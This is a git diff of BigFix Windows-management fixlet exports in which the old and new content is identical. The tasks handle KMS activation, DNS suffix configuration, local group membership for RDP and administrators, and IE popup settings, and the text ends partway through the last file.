-    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 17 Nov 2016 21:39:55 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-action parameter query "ServerKMS" with description "Enter your MS KMS server FQDN like: kms.domain.com"
-
-// set clock if the time is off (must be less than 4 hours difference)
-if { 2*hour < absolute value of (now - apparent registration server time) }
-    set clock
-endif
-
-if{x64 of operating system}
-	action uses wow64 redirection false
-endif
-
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /skms { parameter "ServerKMS" }
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
-
-// References:
-//		https://bigfix.me/relevance/details/3008577#comments
-//		http://technet.microsoft.com/en-us/library/ff793406.aspx
-//		http://support.microsoft.com/kb/929826
-//		http://technet.microsoft.com/en-us/library/bb491016.aspx
-//      https://bigfix.me/relevance/details/3017259
-//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
-
-]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Activate Windows with KMS - set server - Windows
+  ID       : 22632
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-17T14:43:39
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Activate Windows with KMS - set server - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 17 Nov 2016 21:39:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "ServerKMS" with description "Enter your MS KMS server FQDN like: kms.domain.com"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /skms { parameter "ServerKMS" }
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+// References:
+//		https://bigfix.me/relevance/details/3008577#comments
+//		http://technet.microsoft.com/en-us/library/ff793406.aspx
+//		http://support.microsoft.com/kb/929826
+//		http://technet.microsoft.com/en-us/library/bb491016.aspx
+//      https://bigfix.me/relevance/details/3017259
+//      https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+
+]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes
index 8e0e45808..99c9fa651 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Activate Windows with KMS over VPN - Windows (22633).bes	
@@ -1,68 +1,68 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Activate Windows with KMS over VPN - Windows
-  ID       : 22633
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2016-11-17T14:48:12
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Activate Windows with KMS over VPN - Windows</Title>
-    <Description><![CDATA[<P>This is designed to automatically fix systems that are primarily off network and only connect over VPN occationally, not often enough for the KMS Client to handle it automatically. </P>
-<P>This currently handles 2 different versions of the Cisco VPN client. Others could be added.</P>
-<P>This could also detect when there is an issue much earlier to trigger the KMS checkin. </P>]]></Description>
-    <Relevance>/* Windows Only */ windows of operating system</Relevance>
-    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
-    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
-    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
-    <Relevance>exists adapters whose(up of it AND exists addresses whose(it as string != &quot;0.0.0.0&quot;) of it AND exists description whose(it contains &quot;Cisco Systems VPN Adapter&quot; OR it contains &quot;Cisco AnyConnect Secure Mobility Client&quot;) of it) of networks</Relevance>
-    <Source>Internal</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Thu, 17 Nov 2016 22:46:45 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
-parameter "NumUnlicensedProductsBefore" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
-
-// set clock if the time is off (must be less than 4 hours difference)
-if { 2*hour < absolute value of (now - apparent registration server time) }
-    set clock
-endif
-
-if{x64 of operating system}
-	action uses wow64 redirection false
-endif
-
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
-
-parameter "NumUnlicensedProductsAfter" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
-
-// References:
-//   - https://bigfix.me/relevance/details/3018819
-//   - https://bigfix.me/relevance/details/3008577#comments
-//   - https://bigfix.me/relevance/details/1429
-//   - https://bigfix.me/fixlet/details/743
-//   - https://bigfix.me/fixlet/details/761
-//   - http://technet.microsoft.com/en-us/library/ff793406.aspx
-//   - http://support.microsoft.com/kb/929826
-//   - http://technet.microsoft.com/en-us/library/bb491016.aspx
-//   - https://bigfix.me/relevance/details/3017259
-//   - https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
-//   - https://technet.microsoft.com/en-us/library/dn502540%28v=ws.11%29.aspx]]></ActionScript>
-      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Activate Windows with KMS over VPN - Windows
+  ID       : 22633
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2016-11-17T14:48:12
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Activate Windows with KMS over VPN - Windows</Title>
+    <Description><![CDATA[<P>This is designed to automatically fix systems that are primarily off network and only connect over VPN occationally, not often enough for the KMS Client to handle it automatically. </P>
+<P>This currently handles 2 different versions of the Cisco VPN client. Others could be added.</P>
+<P>This could also detect when there is an issue much earlier to trigger the KMS checkin. </P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>exists values &quot;KeyManagementServiceName&quot; of keys &quot;HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform&quot; of (x32 registries; x64 registries)</Relevance>
+    <Relevance>not exists integer values whose(1=it) of selects &quot;LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like &apos;Windows%25&apos;)&quot; of wmis</Relevance>
+    <Relevance>exists adapters whose(up of it AND exists addresses whose(it as string != &quot;0.0.0.0&quot;) of it AND exists description whose(it contains &quot;Cisco Systems VPN Adapter&quot; OR it contains &quot;Cisco AnyConnect Secure Mobility Client&quot;) of it) of networks</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2016-08-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 17 Nov 2016 22:46:45 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+parameter "NumUnlicensedProductsBefore" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
+
+// set clock if the time is off (must be less than 4 hours difference)
+if { 2*hour < absolute value of (now - apparent registration server time) }
+    set clock
+endif
+
+if{x64 of operating system}
+	action uses wow64 redirection false
+endif
+
+waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato
+
+parameter "NumUnlicensedProductsAfter" = "{ number of integer values whose(it != 1) of selects "LicenseStatus from SoftwareLicensingProduct WHERE (PartialProductKey is not null) AND (Name like 'Windows%25')" of wmis }"
+
+// References:
+//   - https://bigfix.me/relevance/details/3018819
+//   - https://bigfix.me/relevance/details/3008577#comments
+//   - https://bigfix.me/relevance/details/1429
+//   - https://bigfix.me/fixlet/details/743
+//   - https://bigfix.me/fixlet/details/761
+//   - http://technet.microsoft.com/en-us/library/ff793406.aspx
+//   - http://support.microsoft.com/kb/929826
+//   - http://technet.microsoft.com/en-us/library/bb491016.aspx
+//   - https://bigfix.me/relevance/details/3017259
+//   - https://blogs.technet.microsoft.com/craigf/2011/03/03/getting-error-0xc004f074-when-activating-against-kms-server/
+//   - https://technet.microsoft.com/en-us/library/dn502540%28v=ws.11%29.aspx]]></ActionScript>
+      <SuccessCriteria Option="CustomRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes b/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes
index c1062433b..753af34e5 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add AD Domain to DNS Suffix Search List if missing - Windows (26706).bes	
@@ -1,48 +1,48 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Add AD Domain to DNS Suffix Search List if missing - Windows
-  ID       : 26706
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2020-09-15T02:51:27
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Add AD Domain to DNS Suffix Search List if missing - Windows</Title>
-    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists dns domainnames of local computers of active directories</Relevance>
-    <Relevance>exists (it as trimmed string) whose(it != &quot;&quot;) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
-    <Relevance>not exists (it as trimmed string) whose(it contains unique value of dns domainnames of local computers of active directories) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
-    <Source>https://github.com/jgstew/bigfix-content/blob/master/fixlet/Add%20AD%20Domain%20to%20DNS%20Suffix%20Search%20List%20if%20missing%20-%20Windows.bes</Source>
-    <SourceID>jgstew</SourceID>
-    <SourceReleaseDate>2020-09-14</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 15 Sep 2020 14:30:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
-// TODO: Test
-
-regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]&quot; &quot;SearchList&quot;=&quot;{ concatenations &quot;,&quot; of (it as trimmed string) of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries }&quot;
-
-
-// concatenations &quot;,&quot; of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries
-
-// Reference:
-//  - https://bigfix.me/relevance/details/3022969
-
-</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add AD Domain to DNS Suffix Search List if missing - Windows
+  ID       : 26706
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2020-09-15T02:51:27
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add AD Domain to DNS Suffix Search List if missing - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the problem and the corrective action here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists dns domainnames of local computers of active directories</Relevance>
+    <Relevance>exists (it as trimmed string) whose(it != &quot;&quot;) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
+    <Relevance>not exists (it as trimmed string) whose(it contains unique value of dns domainnames of local computers of active directories) of substrings separated by &quot;,&quot; of (it as string as lowercase) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries</Relevance>
+    <Source>https://github.com/jgstew/bigfix-content/blob/master/fixlet/Add%20AD%20Domain%20to%20DNS%20Suffix%20Search%20List%20if%20missing%20-%20Windows.bes</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2020-09-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 15 Sep 2020 14:30:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+// TODO: Test
+
+regset &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]&quot; &quot;SearchList&quot;=&quot;{ concatenations &quot;,&quot; of (it as trimmed string) of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries }&quot;
+
+
+// concatenations &quot;,&quot; of ( (unique values of dns domainnames of local computers of active directories) ; it ) of (it as string as trimmed string) of values &quot;SearchList&quot; of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters&quot; of registries
+
+// Reference:
+//  - https://bigfix.me/relevance/details/3022969
+
+</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes b/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes
index a4ca7f02c..73291ec01 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add Current User to Remote Desktop Users Group (3794).bes	
@@ -1,61 +1,61 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Add Current User to Remote Desktop Users Group
-  ID       : 3794
-  Author   : mpeters4
-  Domain   : BESC
-  Imported : 2014-06-11T08:44:48
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Add Current User to Remote Desktop Users Group</Title>
-    <Description>Thiis task will add the currently logged in user to the remote desktop users group. </Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exist current user and not (exists member whose (it as string as lowercase ends with (name of current user)) of local group &quot;Remote Desktop Users&quot; )</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2014-06-11</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 11 Jun 2014 15:43:26 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "User" = "{(value "LastLoggedOnUser" of (key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" of native registry) as string)}"
-
-createfile until ENDOFSCRIPT
-Dim localGroupName, ADUserName, strComputer, objLocalGroup, objADUser
-strComputer = "."
-
-'''Parse the command line arguments (if it exists)
-If Wscript.Arguments.Count < 2 then
-    Err.Raise 1, "Invalid argument", "Missing parameters"
-Else
-    ADUserName = Wscript.Arguments.Item(0)
-    localGroupName = Wscript.Arguments.Item(1)
-End If
-ADUserName = REPLACE(ADUserName, "\", "/")
-
-Set objLocalGroup = GetObject("WinNT://" & strComputer & "/" & localGroupName & ",group")
-Set objUser = GetObject("WinNT://" & ADUserName & ",user")
-
-objLocalGroup.Add(objUser.ADsPath)
-wscript.echo "Successfully added " & ADUserName & " to " & localGroupName
-ENDOFSCRIPT
-
-delete AddUserToLocalGroup.vbs
-copy __createfile AddUserToLocalGroup.vbs
-
-waithidden cscript.exe AddUserToLocalGroup.vbs "{parameter "User"}" "Remote Desktop Users"
-
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add Current User to Remote Desktop Users Group
+  ID       : 3794
+  Author   : mpeters4
+  Domain   : BESC
+  Imported : 2014-06-11T08:44:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add Current User to Remote Desktop Users Group</Title>
+    <Description>Thiis task will add the currently logged in user to the remote desktop users group. </Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exist current user and not (exists member whose (it as string as lowercase ends with (name of current user)) of local group &quot;Remote Desktop Users&quot; )</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-06-11</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 11 Jun 2014 15:43:26 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[parameter "User" = "{(value "LastLoggedOnUser" of (key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\LogonUI" of native registry) as string)}"
+
+createfile until ENDOFSCRIPT
+Dim localGroupName, ADUserName, strComputer, objLocalGroup, objADUser
+strComputer = "."
+
+'''Parse the command line arguments (if it exists)
+If Wscript.Arguments.Count < 2 then
+    Err.Raise 1, "Invalid argument", "Missing parameters"
+Else
+    ADUserName = Wscript.Arguments.Item(0)
+    localGroupName = Wscript.Arguments.Item(1)
+End If
+ADUserName = REPLACE(ADUserName, "\", "/")
+
+Set objLocalGroup = GetObject("WinNT://" & strComputer & "/" & localGroupName & ",group")
+Set objUser = GetObject("WinNT://" & ADUserName & ",user")
+
+objLocalGroup.Add(objUser.ADsPath)
+wscript.echo "Successfully added " & ADUserName & " to " & localGroupName
+ENDOFSCRIPT
+
+delete AddUserToLocalGroup.vbs
+copy __createfile AddUserToLocalGroup.vbs
+
+waithidden cscript.exe AddUserToLocalGroup.vbs "{parameter "User"}" "Remote Desktop Users"
+
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes b/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes
index f590bae1a..a2c1aec45 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Add User to Local Administrators Group (3624).bes	
@@ -1,33 +1,33 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Add User to Local Administrators Group
-  ID       : 3624
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2013-10-22T12:51:24
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Add User to Local Administrators Group</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>true</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2012-12-28</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Sat, 29 Dec 2012 00:44:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup administrators moranit.local\Daniel /add</ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Add User to Local Administrators Group
+  ID       : 3624
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2013-10-22T12:51:24
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Add User to Local Administrators Group</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2012-12-28</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 29 Dec 2012 00:44:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">wait net localgroup administrators moranit.local\Daniel /add</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes b/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes
index ee000a141..9536cac9a 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Allow popups in Interent Explorer for a specific domain - www.domain.tld (715).bes	
@@ -1,38 +1,38 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : Allow popups in Interent Explorer for a specific domain - www.domain.tld
-  ID       : 715
-  Author   : jgstew
-  Domain   : BESC
-  Imported : 2012-12-05T10:41:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>Allow popups in Interent Explorer for a specific domain - www.domain.tld</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>exists current user AND (1 = number of logged on users)</Relevance>
-    <Relevance><![CDATA[not exists key "Software" whose(exists key "Microsoft\Internet Explorer\New Windows\Allow" of it AND exists value "www.domain.tld" of key "Microsoft\Internet Explorer\New Windows\Allow" of it) of (key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry)]]></Relevance>
-    <Category>Registry Edit</Category>
-    <Source>Internal</Source>
-    <SourceID>jgs194</SourceID>
-    <SourceReleaseDate>2012-08-23</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 05 Dec 2012 16:43:07 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[regset64 "[{("HKEY_USERS\" & (name of key whose (((it = name of current user as lowercase OR it starts with name of current user as lowercase & "@") of (it as string as lowercase) of (if (name of operating system = "Win7") then value "USERNAME" of key "Volatile Environment" of it else value "Logon User Name" of key "Software\Microsoft\Windows\CurrentVersion\Explorer" of it))) of key "HKEY_USERS" of registry) & "\Software\Microsoft\Internet Explorer\New Windows\Allow")}]" "www.domain.tld"=hex:00,00]]></ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Allow popups in Interent Explorer for a specific domain - www.domain.tld
+  ID       : 715
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2012-12-05T10:41:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
